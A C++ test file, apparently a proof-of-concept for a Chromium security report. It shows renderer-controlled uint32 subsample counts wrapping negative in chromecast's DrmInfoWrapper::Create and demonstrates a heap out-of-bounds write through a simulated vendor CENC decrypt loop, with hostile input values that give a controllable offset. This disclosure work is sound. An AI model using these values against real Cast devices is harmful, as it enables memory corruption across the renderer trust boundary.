// Copyright 2026 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
#ifdef UNSAFE_BUFFERS_BUILD
// This POC deliberately performs unsafe pointer arithmetic to demonstrate the
// out-of-bounds consequence of negative SbDrmSubSampleMapping byte counts.
#pragma allow_unsafe_buffers
#endif
//
// POC: uint32 -> int32 signedness flip in DrmInfoWrapper::Create.
//
// Renderer-supplied SubsampleEntry::{clear_bytes,cypher_bytes} are uint32_t and
// reach this code via mojom::DemuxerStream::Read() with no value validation.
// drm_util.cc implicitly narrows them into int32_t
// StarboardDrmSubSampleMapping::{clear_byte_count,encrypted_byte_count} at:
//   - drm_util.cc:100-101  (CastDecoderBuffer overload)
//   - drm_util.cc:188-189  (::media::DecoderBuffer overload)
// Values >= 0x80000000 wrap negative and are forwarded across the
// SbPlayerWriteSample2 ABI boundary alongside a small browser-process heap
// buffer.
//
// Part 1 proves the signedness flip with assertions.
// Part 2 simulates the canonical CENC subsample-iteration loop a vendor
// SbPlayer performs (advance pointer by clear_byte_count, then operate on
// encrypted_byte_count bytes). With negative byte counts this walks backwards
// off the heap allocation -> ASAN heap-buffer-overflow.

#include <cstdint>
#include <cstdio>
#include <memory>
#include <string>

#include "base/containers/span.h"
#include "base/memory/scoped_refptr.h"
#include "chromecast/starboard/media/media/drm_util.h"
#include "chromecast/starboard/media/media/starboard_api_wrapper.h"
#include "media/base/decoder_buffer.h"
#include "media/base/decrypt_config.h"
#include "media/base/subsample_entry.h"
#include "testing/gtest/include/gtest/gtest.h"

namespace chromecast {
namespace media {
namespace {

// Stand-in for the vendor's SbPlayerWriteSample2 in-place CENC decrypt loop.
// This is the canonical iteration pattern over SbDrmSubSampleMapping: skip
// clear_byte_count bytes, then "decrypt" (touch) encrypted_byte_count bytes
// in place.
void SimulateVendorCencSubsampleWalk(uint8_t* sample_buffer,
                                     const StarboardDrmSampleInfo* drm_info) {
  uint8_t* p = sample_buffer;
  for (const StarboardDrmSubSampleMapping& m : drm_info->subsample_mapping) {
    // Advance past clear bytes. With clear_byte_count < 0 this rewinds.
    p += m.clear_byte_count;
    // In-place "decrypt" of encrypted bytes. Touch one byte to prove OOB.
    if (m.encrypted_byte_count != 0) {
      *p ^= 0xAA;  // <-- ASAN heap-buffer-overflow when p < sample_buffer.
    }
    p += m.encrypted_byte_count;
  }
}

scoped_refptr<::media::DecoderBuffer> MakeBuffer(
    base::span<const uint8_t> data,
    const ::media::SubsampleEntry& subsample) {
  auto buf = ::media::DecoderBuffer::CopyFrom(data);
  CHECK(buf);
  buf->set_decrypt_config(::media::DecryptConfig::CreateCencConfig(
      /*key_id=*/"0123456789abcdef",
      /*iv=*/std::string(::media::DecryptConfig::kDecryptionKeySize, 'A'),
      {subsample}));
  return buf;
}

TEST(DrmUtilSignednessPoc, SubsampleSignednessFlip) {
  static_assert(sizeof(::media::SubsampleEntry::clear_bytes) == 4, "");
  static_assert(
      sizeof(StarboardDrmSubSampleMapping::clear_byte_count) == 4, "");

  // 16-byte browser-process heap buffer, mirroring the HeapArray allocated at
  // starboard_video_decoder.cc:208-210 and passed as sample_info.buffer.
  constexpr size_t kBufSize = 16;
  std::unique_ptr<uint8_t[]> heap_buf(new uint8_t[kBufSize]());

  // ----- Part 1: prove the signedness flip. -----
  // Renderer-controlled subsample values (cross the Mojo trust boundary with no
  // validation). Both have the high bit set so they wrap negative in int32_t.
  //   0x80000000 -> -2147483648
  //   0xFFFFFFF0 -> -16
  {
    const ::media::SubsampleEntry hostile(/*clear_bytes=*/0x80000000u,
                                          /*cypher_bytes=*/0xFFFFFFF0u);
    auto buf = MakeBuffer({heap_buf.get(), kBufSize}, hostile);

    DrmInfoWrapper w = DrmInfoWrapper::Create(*buf);
    StarboardDrmSampleInfo* info = w.GetDrmSampleInfo();
    ASSERT_NE(info, nullptr);
    ASSERT_EQ(info->subsample_mapping.size(), 1u);
    const StarboardDrmSubSampleMapping& m = info->subsample_mapping[0];
    fprintf(stderr,
            "[POC] clear_bytes=0x%08x -> clear_byte_count=%d, "
            "cypher_bytes=0x%08x -> encrypted_byte_count=%d\n",
            hostile.clear_bytes, m.clear_byte_count, hostile.cypher_bytes,
            m.encrypted_byte_count);
    EXPECT_LT(m.clear_byte_count, 0);
    EXPECT_LT(m.encrypted_byte_count, 0);
    EXPECT_EQ(m.clear_byte_count, -2147483648);
    EXPECT_EQ(m.encrypted_byte_count, -16);
  }

  // ----- Part 2: demonstrate OOB with canonical CENC iteration. -----
  // Use clear_bytes = 0xFFFFFFF8 (-> -8) so the backward displacement lands in
  // ASAN's redzone immediately before the 16-byte heap allocation, producing a
  // clean heap-buffer-overflow report rather than a wild SEGV ~2 GiB away.
  // (Any value in [0x80000000, 0xFFFFFFFF] gives a controllable backward
  // offset in [-2147483648, -1].)
  const ::media::SubsampleEntry oob(/*clear_bytes=*/0xFFFFFFF8u,
                                    /*cypher_bytes=*/0x00000008u);
  auto buf = MakeBuffer({heap_buf.get(), kBufSize}, oob);

  DrmInfoWrapper w = DrmInfoWrapper::Create(*buf);
  StarboardDrmSampleInfo* info = w.GetDrmSampleInfo();
  ASSERT_NE(info, nullptr);
  ASSERT_EQ(info->subsample_mapping.size(), 1u);
  ASSERT_EQ(info->subsample_mapping[0].clear_byte_count, -8);

  fprintf(stderr,
          "[POC] simulating vendor SbPlayerWriteSample2 CENC walk: "
          "buffer=%p size=%zu clear_byte_count=%d encrypted_byte_count=%d\n",
          heap_buf.get(), kBufSize,
          info->subsample_mapping[0].clear_byte_count,
          info->subsample_mapping[0].encrypted_byte_count);

  // This is what the vendor SbPlayer does with the values Chromium hands it.
  // ASAN: heap-buffer-overflow WRITE at heap_buf - 8.
  SimulateVendorCencSubsampleWalk(heap_buf.get(), info);
}

}  // namespace
}  // namespace media
}  // namespace chromecast
